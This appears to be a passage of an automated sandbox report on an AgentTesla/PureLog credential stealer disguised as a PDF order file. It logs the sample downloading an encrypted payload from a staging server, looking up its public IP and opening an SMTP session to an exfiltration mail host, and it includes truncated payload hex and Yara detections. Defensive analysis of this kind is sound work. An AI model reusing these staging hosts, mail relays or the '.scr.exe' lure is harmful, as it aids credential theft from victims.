May 29, 2024 11:45:10.154515982 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154530048 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154541969 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154541969 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.154555082 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154567003 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154570103 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.154589891 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154591084 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.154603004 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154618979 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154630899 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154638052 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.154644012 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154658079 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154665947 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.154670000 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154680014 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.154684067 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.154706001 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.178972960 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.178988934 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179008007 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179023981 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179025888 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.179034948 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179054976 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179066896 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179075003 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.179080963 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179092884 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179095984 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.179111958 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179124117 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179133892 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179136992 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.179147959 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179162979 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.179166079 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179182053 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.179187059 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179199934 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179210901 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179224014 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179225922 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.179235935 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179249048 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179251909 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.179260969 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.179271936 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.179296970 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.183180094 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:10.188770056 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:10.188833952 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:41.580336094 CEST	49707	443	192.168.2.7	172.67.74.152
May 29, 2024 11:45:41.580374002 CEST	443	49707	172.67.74.152	192.168.2.7
May 29, 2024 11:45:41.580473900 CEST	49707	443	192.168.2.7	172.67.74.152
May 29, 2024 11:45:41.587668896 CEST	49707	443	192.168.2.7	172.67.74.152
May 29, 2024 11:45:41.587707996 CEST	443	49707	172.67.74.152	192.168.2.7
May 29, 2024 11:45:42.077908039 CEST	443	49707	172.67.74.152	192.168.2.7
May 29, 2024 11:45:42.078176975 CEST	49707	443	192.168.2.7	172.67.74.152
May 29, 2024 11:45:42.081899881 CEST	49707	443	192.168.2.7	172.67.74.152
May 29, 2024 11:45:42.081918955 CEST	443	49707	172.67.74.152	192.168.2.7
May 29, 2024 11:45:42.082165003 CEST	443	49707	172.67.74.152	192.168.2.7
May 29, 2024 11:45:42.123744011 CEST	49707	443	192.168.2.7	172.67.74.152
May 29, 2024 11:45:42.126636982 CEST	49707	443	192.168.2.7	172.67.74.152
May 29, 2024 11:45:42.172502041 CEST	443	49707	172.67.74.152	192.168.2.7
May 29, 2024 11:45:42.375488043 CEST	443	49707	172.67.74.152	192.168.2.7
May 29, 2024 11:45:42.375556946 CEST	443	49707	172.67.74.152	192.168.2.7
May 29, 2024 11:45:42.375643969 CEST	49707	443	192.168.2.7	172.67.74.152
May 29, 2024 11:45:42.378395081 CEST	49707	443	192.168.2.7	172.67.74.152
May 29, 2024 11:45:42.983452082 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:42.988348007 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:42.988449097 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:43.843206882 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:43.843873024 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:43.848833084 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.028901100 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.029124975 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:44.033998013 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.213365078 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.213881969 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:44.218750954 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.399089098 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.399111986 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.399126053 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.399139881 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.399189949 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:44.489701986 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.518495083 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:44.523694038 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.703809977 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.713958025 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:44.718883038 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.898617983 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:44.899729967 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:44.904635906 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.084225893 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.085767984 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:45.090662003 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.278573990 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.278955936 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:45.286183119 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.467926025 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.468502998 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:45.476574898 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.685497046 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.686718941 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:45.691620111 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.873488903 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.874301910 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:45.874377012 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:45.874377012 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:45.874443054 CEST	49708	587	192.168.2.7	185.169.24.118
May 29, 2024 11:45:45.879308939 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.879331112 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.879342079 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:45.879353046 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:46.331065893 CEST	587	49708	185.169.24.118	192.168.2.7
May 29, 2024 11:45:46.373476028 CEST	49708	587	192.168.2.7	185.169.24.118

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 29, 2024 11:45:41.558000088 CEST	49666	53	192.168.2.7	1.1.1.1
May 29, 2024 11:45:41.565274954 CEST	53	49666	1.1.1.1	192.168.2.7
May 29, 2024 11:45:42.915376902 CEST	49901	53	192.168.2.7	1.1.1.1
May 29, 2024 11:45:42.981853962 CEST	53	49901	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 29, 2024 11:45:41.558000088 CEST	192.168.2.7	1.1.1.1	0xac56	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
May 29, 2024 11:45:42.915376902 CEST	192.168.2.7	1.1.1.1	0x6824	Standard query (0)	smtp.creolupatoto.it	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 29, 2024 11:45:41.565274954 CEST	1.1.1.1	192.168.2.7	0xac56	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
May 29, 2024 11:45:41.565274954 CEST	1.1.1.1	192.168.2.7	0xac56	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
May 29, 2024 11:45:41.565274954 CEST	1.1.1.1	192.168.2.7	0xac56	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
May 29, 2024 11:45:42.981853962 CEST	1.1.1.1	192.168.2.7	0x6824	No error (0)	smtp.creolupatoto.it	smtpmaster116.serverlet.com		CNAME (Canonical name)	IN (0x0001)	false
May 29, 2024 11:45:42.981853962 CEST	1.1.1.1	192.168.2.7	0x6824	No error (0)	smtpmaster116.serverlet.com	sasl116.shellrent.com		CNAME (Canonical name)	IN (0x0001)	false
May 29, 2024 11:45:42.981853962 CEST	1.1.1.1	192.168.2.7	0x6824	No error (0)	sasl116.shellrent.com		185.169.24.118	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

103.186.66.98

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	103.186.66.98	80	4888	C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Timestamp	Bytes transferred	Direction	Data
May 29, 2024 11:45:05.186760902 CEST	83	OUT	GET /ELCHAPO/Synfckpr.dat HTTP/1.1 Host: 103.186.66.98 Connection: Keep-Alive
May 29, 2024 11:45:06.128968000 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 29 May 2024 09:45:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Wed, 29 May 2024 03:43:44 GMT ETag: "22a410-6198f8ea894f7" Accept-Ranges: bytes Content-Length: 2270224 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: c8 2f c1 9a 14 ad 52 b3 ed 70 bf 25 f0 96 9f b7 4b bb 5c bb a6 f6 5e d7 0b 44 1a 9a 70 8e 6f 42 84 94 bc 1c e7 dc ae 2f fc 6b c1 4a 55 7d 51 49 0f 53 89 11 f5 93 c6 f8 dd c3 b5 29 6a d5 6c 4d 5a 53 d9 05 4c 01 2a ec ae bf a0 9d fa 94 2e a4 2d 17 f7 6e 0f ac b0 c7 c4 37 43 f4 14 60 6e f3 e3 ca 12 96 c1 15 d4 90 5a a8 0e c5 b8 cf 99 99 04 ce 36 04 1f fc 59 47 ec 96 44 91 4e 78 a3 68 5f e5 79 e2 02 43 64 5e c6 f5 49 31 d8 b0 73 c6 1e 66 0f e6 d9 8a 80 83 fe 5b 3e 01 a1 c4 b4 69 bc 4f 31 07 06 ef 7c 3e cf 23 cc 6b 62 7d 54 ff 27 ce c1 8d 5b 91 41 c7 c6 bd 4c b7 a7 f3 5b 3a f7 01 32 ae f6 15 da a3 8c 99 ce bb b7 0e 2e c6 f9 96 54 3f 8a 1c 5f 83 cf 38 7c 6b 71 82 b3 df f1 44 17 d4 23 24 42 75 83 26 13 e1 d2 06 bb 39 34 7f 3a e8 e7 40 5a 4f 7c 2a 2b 0f 36 29 8f f2 27 2b a1 13 2a 2c 80 1d ff 81 24 f1 63 9b c2 22 35 38 50 b9 f2 89 a9 09 82 4f 58 08 96 34 54 d2 87 15 8f c3 26 cb eb 13 3b 1f 94 2b 33 cb f7 ed 58 47 59 75 01 74 b6 91 91 98 73 66 72 9e 0e 53 43 85 f3 b5 17 98 4d 34 97 5c 83 33 43 25 be 2b 5d d4 [TRUNCATED] Data Ascii: /Rp%K\^DpoB/kJU}QIS)jlMZSL.-n7C`nZ6YGDNxh_yCd^I1sf[>iO1\|>#kb}T'[AL[:2.T?_8\|kqD#$Bu&94:@ZO\|+6)'+,$c"58POX4T&;+3XGYutsfrSCM4\3C%+]F'rY-Mr5KgEl.O]Ok)nPLu2^r[]=>=)NKUg9I{Fl-V]'uxXpZ,eK,w'II~9{fUVeh0v52r>EMWki7b+&0(^=lUJrC-!1M@WTt'%;6Xv\|(n0>><cPM`C&IIw\.Amps~X-HHB[{efhkJuktY$gvM}orGONHR oo*+%}miRmMnEm_f,?\|b?9g 'G<,~%mk@~)q6wucsq2f\LQ,VW&EB7Ng1odmMR;\hLI."O\
May 29, 2024 11:45:06.129012108 CEST	224	IN	Data Raw: e4 c8 e1 aa 37 a3 72 27 eb e8 05 4d 2f 96 aa 64 9a 28 bb 5f 07 0a 43 e0 d2 9b 53 23 20 44 75 88 d4 d0 1c 5c 6f 78 a4 43 69 ca d7 5b 7b d2 fa 6a d8 1c 89 73 06 2f 0f 08 24 c6 3f a6 1b 2e f5 78 4d 39 78 8d a9 a8 16 4a b0 d9 07 d6 57 02 46 d4 06 f3 Data Ascii: 7r'M/d(_CS# Du\oxCi[{js/$?.xM9xJWFk%gU/*P(]H$B:CeD'`+fpkAIX_4V%c@>hF\_0>-z1Z{YH02
May 29, 2024 11:45:06.129065990 CEST	1236	IN	Data Raw: 01 1b cc 09 aa 7e b2 ff 69 a8 4c 3f 86 20 16 ef 53 5c 40 dd ff 65 7e 9e 23 1e b9 58 cc 88 52 7d d6 a9 42 19 7d 24 bc 31 05 4c 94 48 92 6f 76 5c 5a 22 13 82 27 8a ee 84 56 48 b0 a0 eb 54 bb 5a 26 d7 10 8d 80 06 77 65 c2 68 91 65 3f 90 c9 01 6c 8f Data Ascii: ~iL? S\@e~#XR}B}$1LHov\Z"'VHTZ&wehe?lsj+C3\S8fE<Ic&cf2v_"W$$z%g}nElla>0p3nk]v{k{baPE$fAnSr"z#8)!
May 29, 2024 11:45:06.129101038 CEST	1236	IN	Data Raw: cc 64 a6 5c df 09 10 41 6c 29 97 19 83 bb 5f a4 ae c4 53 7d a3 9c f5 e0 73 14 ae 2f 71 31 58 29 24 96 7f 2d 82 00 af 7f f5 a0 2d ba 71 f6 73 a9 35 23 f5 d4 98 84 60 51 7c a0 6a 00 fe 36 09 4f 9b ed 30 25 31 ab eb 79 1a 53 61 34 36 5b a4 c6 bb 96 Data Ascii: d\Al)_S}s/q1X)$--qs5#`Q\|j6O0%1ySa46[=yiVNzir&FcR5\}Q\|qGi4!54{=b@aL{QmBF$cJBJA`(\>)lK]~>2B{,6ny>,p!<IM
May 29, 2024 11:45:06.129136086 CEST	1236	IN	Data Raw: 96 cf 18 15 3a 90 f5 e3 c3 b2 55 49 f0 4a f7 cb ae c5 69 4b 96 65 e0 66 81 f6 ab 2d f6 cb 75 02 ac 7a 91 e7 22 87 60 93 1c 6d 19 46 54 84 13 e2 ef 21 2e 8d 45 1d 39 60 2d 69 88 1b fc 0c 5c 70 07 9d db 14 79 ee 87 a4 77 ab 97 15 7e 51 11 53 19 e2 Data Ascii: :UIJiKef-uz"`mFT!.E9`-i\pyw~QSK};zp=$]2+Q-g8"I/N}M1SKjm03LI- VrGrbf%+#GnB`,7{/&Ymz+O
May 29, 2024 11:45:06.129172087 CEST	672	IN	Data Raw: 12 7c 1d fa bd e2 f3 db 94 4a 35 6b bc 35 cd bd 9b 8e 87 2a 22 85 b2 33 70 e4 d5 b3 25 42 05 3e 9e 34 59 d9 7d c5 c0 fd 1b 52 e1 98 4a 1b ba 74 fe 72 c2 ac 35 9e b8 d1 6b 1c 5a 79 68 bc c6 42 19 12 95 cb 33 8f 10 f9 41 e0 20 5a 61 1f d0 38 68 3b Data Ascii: \|J5k5"3p%B>4Y}RJtr5kZyhB3A Za8h;eUbmV1&x\|Cn6 1EpCXa%HyNJEAnX&7tFc}r8tTJ-lnx\mh
May 29, 2024 11:45:06.373313904 CEST	1236	IN	Data Raw: 21 86 a9 40 59 3f 06 0e 3d 42 1e 3b 9e 5a c9 c9 1c 09 74 61 d0 bd e9 88 cb fb 74 e1 61 4b 81 29 0d 41 12 1f f1 f2 22 46 a4 cf 11 34 3d 83 82 a6 ce cc 1a ea ee 88 0d c8 44 29 b0 7c 92 d1 57 49 f1 18 03 3b 5d 56 5e bd 54 d7 97 59 35 56 f3 2d 06 ee Data Ascii: !@Y?=B;ZtataK)A"F4=D)\|WI;]V^TY5V-3Ool+b:,z>DU!7S2Q[iTvjmrlsjBV&vU0h`Bq`-QrQQJL~P)=V)M}4V
May 29, 2024 11:45:06.373346090 CEST	224	IN	Data Raw: d3 c5 2b 31 5e 04 93 48 55 16 08 2f fb ec 7b 50 17 9d 22 14 79 e9 c7 80 77 a5 27 43 a0 fc 48 bc d7 7e 61 38 d6 54 0c 98 6c 34 44 a5 81 52 1c 10 c6 b4 8b 55 56 12 cf 6a 13 8e 5a fe 80 a5 71 b9 d8 d7 19 31 db e5 95 88 3d 07 b0 70 6f de 25 fe 00 1d Data Ascii: +1^HU/{P"yw'CH~a8Tl4DRUVjZq1=po%2p\|\|A0@!Iw-\|@e?qHRk1qAZr:@1&ezWo!z@o_lChZ
May 29, 2024 11:45:06.373373985 CEST	1236	IN	Data Raw: 06 d1 6e eb e0 0c 58 e1 fa bd 48 59 59 8c 00 77 f6 c8 e5 ad 41 8f fa 5c 65 bd 4f 78 ab 9e 00 33 9f 4d 9d 65 4d 33 ce 0f 46 20 83 06 b2 53 41 02 8a 36 e4 e5 c8 ae 94 23 d4 25 cc 8d 71 27 0d 91 7b fc da c8 e3 5f d2 8b 80 eb ae 70 bf d2 83 9e 62 d3 Data Ascii: nXHYYwA\eOx3MeM3F SA6#%q'{_pbs-nJd'cNynHi#Z$+\Lzu/\|=xxA'l?aY645_),[]U+*d-+[#%to\|T~\|SsExv3F
May 29, 2024 11:45:06.373544931 CEST	1236	IN	Data Raw: 36 4b bf e6 9b 56 a9 ff 6a 3d 18 39 98 d2 04 e0 18 57 24 83 5d 32 89 e3 da ed 13 7b cd dd 8a 81 8a 1e 4c 60 32 87 eb fe f9 ac 97 44 7e 75 51 9a 6f 2c 99 22 99 f9 9d b0 92 7c fe ee 3d 13 3b 03 fc c9 a9 39 81 20 8b a6 26 90 cb 25 48 bc 6a 53 48 45 Data Ascii: 6KVj=9W$]2{L`2D~uQo,"\|=;9 &%HjSHE#u>[vQ&[4F{L.+]y5t\|q@sxdy@{\7NP"O4A;Wp-SQ&d\|W'/}40CqV'd817ub6XZ
May 29, 2024 11:45:06.373590946 CEST	1236	IN	Data Raw: 85 94 53 a5 20 5c 3a 24 ce 78 8b aa e1 82 59 92 ae 68 fe df ae 53 06 ed fd 3c 4c 83 6c 42 33 3e 8e a5 83 df fd e1 16 a1 a1 bc 78 f0 f0 e9 b7 8c 51 b2 30 8f ab 27 25 7b a0 ea 07 74 f2 65 5b 6a 3c d0 c9 52 36 bf ef 9e 72 b0 0c ff 76 b0 8a 66 57 d5 Data Ascii: S \:$xYhS<LlB3>xQ0'%{te[j<R6rvfW{=g3hA"1?ZNU3XQ#25wRXee@<_kB9F0\|vNLdva'{xy2M"^6nc;VcD7'QI

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49707	172.67.74.152	443	7552	C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-29 09:45:42 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-29 09:45:42 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 29 May 2024 09:45:42 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 88b58d968c235e6a-EWR
2024-05-29 09:45:42 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 37 35 Data Ascii: 8.46.123.175

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
May 29, 2024 11:45:43.843206882 CEST	587	49708	185.169.24.118	192.168.2.7	220 sasl116.shellrent.com ESMTP Postfix (Debian/GNU)
May 29, 2024 11:45:43.843873024 CEST	49708	587	192.168.2.7	185.169.24.118	EHLO 528110
May 29, 2024 11:45:44.028901100 CEST	587	49708	185.169.24.118	192.168.2.7	250-sasl116.shellrent.com 250-PIPELINING 250-SIZE 40960000 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 29, 2024 11:45:44.029124975 CEST	49708	587	192.168.2.7	185.169.24.118	STARTTLS
May 29, 2024 11:45:44.213365078 CEST	587	49708	185.169.24.118	192.168.2.7	220 2.0.0 Ready to start TLS

Target ID:	0
Start time:	05:45:03
Start date:	29/05/2024
Path:	C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe"
Imagebase:	0xd50000
File size:	198'656 bytes
MD5 hash:	F70EBCFF67F43E47DD4DA5222BEEEC28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1616564249.0000000006FE0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1603204993.0000000005028000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1603204993.0000000005028000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1611989063.0000000006A80000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1603204993.000000000436B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1603204993.000000000468E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1603204993.000000000468E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:08:56
Start date:	29/05/2024
Path:	C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe"
Imagebase:	0xf00000
File size:	198'656 bytes
MD5 hash:	F70EBCFF67F43E47DD4DA5222BEEEC28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.2484111274.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.2484111274.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.2487713854.000000000325C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.2487713854.0000000003264000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.2487713854.0000000003231000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.2487713854.0000000003231000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	327
Total number of Limit Nodes:	7

Executed Functions

Function 0798D7B0 Relevance: 1.5, Strings: 1, Instructions: 276
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Dq, xrefs: 0798D8B5

Memory Dump Source

Source File: 00000000.00000002.1617342075.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7970000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID: Dq
API String ID: 0-144822681
Opcode ID: a3037239d064857841fb48f86c306044d3040675c86d543a045129da4ea54b5c
Instruction ID: aefd76e29ae5169a8336a75d2bbdbfda49dd2143588c926b54d11221e35dc862
Opcode Fuzzy Hash: a3037239d064857841fb48f86c306044d3040675c86d543a045129da4ea54b5c
Instruction Fuzzy Hash: E3D1A374A01218DFDB54DFA9D880B9DBBB2FF49305F2081A9D409AB365DB35AD81CF50

Function 05F343D9 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1610373887.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_Zam#U00f3wienie Z2300056_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
